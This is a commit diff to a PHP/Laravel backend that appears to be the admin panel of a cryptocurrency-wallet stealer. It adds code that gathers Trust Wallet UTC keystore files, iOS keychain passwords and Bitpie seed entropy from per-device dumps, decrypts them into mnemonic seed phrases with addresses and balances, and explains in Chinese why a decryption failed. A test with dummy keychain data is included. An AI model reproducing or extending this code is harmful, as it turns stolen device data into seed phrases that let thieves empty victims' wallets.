This commit is contained in:
hashbro
2026-08-24 07:01:41 +08:00
parent 2eb081cbb8
commit 0dfb93f451
3 changed files with 86 additions and 2 deletions
@@ -8,6 +8,7 @@ use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
@@ -82,7 +83,7 @@ class KeystoreController extends Controller
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
@@ -107,11 +108,12 @@ class KeystoreController extends Controller
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
$counts = $decrypt->materialCounts($device->fresh('keystores'));
$msg = $addedCount > 0
? '已写入 '.$addedCount.' 条助记词'
: ((int) $keystore->decrypted === 1
? '没有新的助记词(该来源可能已解密)'
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
: $this->decryptMissMessage($counts));
return response()->json([
'code' => 0,
@@ -122,6 +124,9 @@ class KeystoreController extends Controller
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
'utc' => $counts['utc'],
'passwords' => $counts['passwords'],
'entropy' => $counts['entropy'],
],
]);
}
@@ -147,6 +152,30 @@ class KeystoreController extends Controller
];
}
/**
* @param array{utc: int, passwords: int, entropy: int} $counts
*/
private function decryptMissMessage(array $counts): string
{
$utc = (int) $counts['utc'];
$passwords = (int) $counts['passwords'];
$entropy = (int) $counts['entropy'];
if ($utc === 0 && $passwords > 0) {
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
}
if ($utc > 0 && $passwords === 0) {
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
}
if ($utc > 0 && $passwords > 0) {
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)';
}
if ($entropy > 0) {
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
}
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
+22
View File
@@ -49,6 +49,28 @@ final class DsKeystoreDecrypt
return $hits;
}
/**
* @return array{utc: int, passwords: int, entropy: int}
*/
public function materialCounts(Device $device): array
{
$device->loadMissing('keystores');
$utcs = [];
$passwords = [];
$entropy = [];
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
}
return [
'utc' => count($this->uniqueKeystores($utcs)),
'passwords' => count($this->uniquePasswords($passwords)),
'entropy' => count(array_unique($entropy)),
];
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
+33
View File
@@ -214,4 +214,37 @@ class KeystoreAdminTest extends TestCase
->postJson(route('user.keystores.decrypt', $rowB))
->assertForbidden();
}
#[Test]
public function decrypt_explains_trust_password_without_utc(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
$keychain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
'dataHex' => str_repeat('ab', 32),
]],
],
],
],
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decrypt', $keychain))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 0)
->assertJsonPath('data.utc', 0)
->assertJsonPath('data.passwords', 1)
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
}
}